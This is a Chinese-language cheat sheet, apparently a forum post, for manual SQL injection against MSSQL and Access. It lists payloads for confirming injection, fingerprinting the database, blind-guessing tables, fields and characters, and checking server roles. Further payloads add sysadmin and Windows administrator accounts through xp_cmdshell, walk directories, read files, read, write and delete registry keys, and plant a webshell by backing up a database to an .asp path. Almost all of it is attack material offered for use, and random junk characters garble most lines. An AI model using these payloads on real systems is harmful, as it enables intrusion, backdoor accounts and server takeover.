手工脚本注入
1 t- a- o# M- q; t5 [1.判断是否有注入;and 1=1 ;and 1=2 : o7 v- u- d8 [9 R: D8 N6 j
% |) P. Q$ k- z" U$ Z5 m
2.初步判断是否是mssql ;and user>0
6 }0 c* e5 D3 N; I' ~/ E( _; }+ Y0 U
3.注入参数是字符'and [查询条件] and ''=' 8 c/ B1 k1 k/ k
0 y) L3 T/ P/ G3 Z; H
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5 G9 K+ u1 Q/ R! _. v3 U1 T* L8 f
/ e: k4 d+ D7 R0 T6 }, Q
5.判断数据库系统
- N' \. ~4 ^1 c" D4 c1 c;and (select count(*) from sysobjects)>0 mssql
% ~1 ^5 X( ^ T( w: Z6 w;and (select count(*) from msysobjects)>0 access
" Y! }- r$ z/ l) [% Q( I, I/ ~ Q8 ^2 P$ n0 s0 E6 a0 i2 J
6.猜数据库 ;and (select Count(*) from [数据库名])>0 $ X( b/ h% f8 N2 H
6 P! }) Y7 D) r. w9 T6 T$ W7.猜字段 ;and (select Count(字段名) from 数据库名)>0
4 I0 d% S9 v5 S+ G3 a, v+ t* }! N+ v% |; H. p3 e; ^
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 3 D& G9 k1 N& B5 u' W( I- \
$ m; q" p, @/ a# M/ O2 ]
9.(1)猜字段的ascii值(access) d F# X$ S5 O
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
" U& U8 U7 `* u" |& Q1 w/ h0 j! @8 R+ f1 l$ g( E2 W0 I
(2)猜字段的ascii值(mssql)
3 x, g7 N- T, R8 L- T;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
! T+ ~1 `2 @. S; W1 T! N% A& O o) e3 w, b. n/ J5 I: e
10.测试权限结构(mssql) # A/ |2 M4 T' W( v
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
$ S6 F6 D" z' g8 s;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % W9 l: M: }7 `0 H
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 p2 H# h L' L
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
3 C0 ?7 b4 H6 F- F U3 ]5 @! T- j;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
# J9 b2 \' H" G1 _;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( V S, O7 r. @. }3 Q- p9 ^6 P
;and 1=(select IS_MEMBER('db_owner'));--
) J( h: P5 N% O9 [2 K: Z/ `/ c( k
6 x4 D- E# V$ ^4 Z+ N# b11.添加mssql和系统的帐户 / E& f) e. W& r+ T) U
;exec master.dbo.sp_addlogin username;--
/ z7 y( ] X" \6 S
% W/ R, p1 @1 G3 w+ a. l6 o* b;exec master.dbo.sp_password null,username,password;-- ; t) K |9 c* Z; F( _
: n+ ~& m e6 Y1 }' S& C;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5 h7 A' i! u) d9 H* f G( V
! D4 q% P1 z# ~6 u [/ L
;exec master.dbo.xp_cmdshell 'net user username password ' j* s* _! n/ l1 x' J% [
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 2 u1 o/ ] z( D
5 w4 d3 Q% B/ t( k4 t* }. K# Y$ y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; {5 K: v: N1 s2 ?) z- `# E
* g+ f2 ?$ l+ p$ g; c# y1 O6 E$ l8 Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 H. ^/ |) v9 C6 i7 v1 w+ J m# R/ ^" `0 M3 |+ W/ o
12.(1)遍历目录
* u. s) @; o! w7 Y% ]$ D& V( V- ]5 b2 F, X2 l
;create table dirs(paths varchar(100), id int)
; [; r: u9 j9 K7 s3 R( J;insert dirs exec master.dbo.xp_dirtree 'c:\'
% r" {$ }- I7 J" B+ L- {% `;and (select top 1 paths from dirs)>0
' }) C* y. ]0 ~# t0 \7 \( [;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . {2 z! g6 _( o7 A' ], k/ v
8 S R8 h5 V6 [% F2 a- k(2)遍历目录 # N' t( t# B) r# ?& x
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " u( K" R) l2 f# Q0 W
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ( D, q" N1 l+ h9 v0 I# a
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 0 p* _' e }% s
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $ W9 F4 X- O8 l8 i2 G
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 + R7 ]7 G; I; I* T: b7 \
7 K" g: @/ m+ g$ e' I8 A
13.mssql中的存储过程 4 @/ I3 A9 z `' p
! D$ a$ L; E; r- K! i C2 y; C
xp_regenumvalues 注册表根键, 子键 ; r }( r" D, ~! R0 Z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
+ m+ M" y% |: M3 t3 W) u- v/ i4 f: ~
xp_regread 根键,子键,键值名 $ i6 I- L& X+ ?, c
;exec xp_regread - x. c( [( p, B8 F- d5 C# o
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8 Q$ _; R- N: V% |
6 H0 C( `6 x, e5 k) Axp_regwrite 根键,子键, 值名, 值类型, 值 6 a; e9 U% @: e2 F8 m Q7 y+ _
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 & T; {# z: {% M
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
! k$ w0 W( z( @" R! w( \
/ G9 n, }5 u7 A/ ^: Fxp_regdeletevalue 根键,子键,值名
5 e9 D& V# D1 K# a! X
& h% Y0 ]9 H6 L; V+ Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
: J* i0 @% e% f6 M3 \3 A+ s" J# E$ K$ A. B/ g A2 C6 L6 M
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 7 }9 z! Y+ [ o8 E& s
5 @" B \3 {9 [# l
14.mssql的backup创建webshell ( Q0 K) W9 s* Y9 P* a
use model
2 ^, w0 S8 l- @7 F5 v5 ocreate table cmd(str image);
5 S6 ~4 p( A+ U' m7 S- r* Xinsert into cmd(str) values (''); ; F5 m8 \ `2 h- A9 g( U0 f
backup database model to disk='c:\l.asp'; / i3 H* J5 e+ d/ \* E
" J; J1 H/ d1 V3 t& O* C" H15.mssql内置函数 6 X5 k8 _9 d& F4 b
;and (select @@version)>0 获得Windows的版本号 9 V* r* q7 _8 ]) p! I @
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
~/ U7 F* {- E6 b- `. F;and (select user_name())>0 爆当前系统的连接用户
6 ]- l* L! K9 I4 l& ?6 g;and (select db_name())>0 得到当前连接的数据库
3 ^8 \) _& M! _) t1 {/ r# j+ |" i" T" T/ W
16.简洁的webshell
/ b* E$ C& P* A# R' [) @
6 f. @1 I% y1 E; {7 ^% t: ruse model
4 ?* Y9 }$ `7 M. a" F* X
7 q6 A; L6 ~3 X; a( screate table cmd(str image);
) Y3 o' |* X' Q& l0 r
+ v" Y$ V& p' z ?insert into cmd(str) values (''); , ~9 {8 S# C: s+ y; X3 Z# K
9 G$ r8 @ F" S- g7 Y |backup database model to disk='g:\wwwtest\l.asp';
2 N9 `9 Y9 [ b1 F6 `, b$ H/ q# B
$ v' Y; T+ ^& x- ]1 m: V8 r: e+ _% o |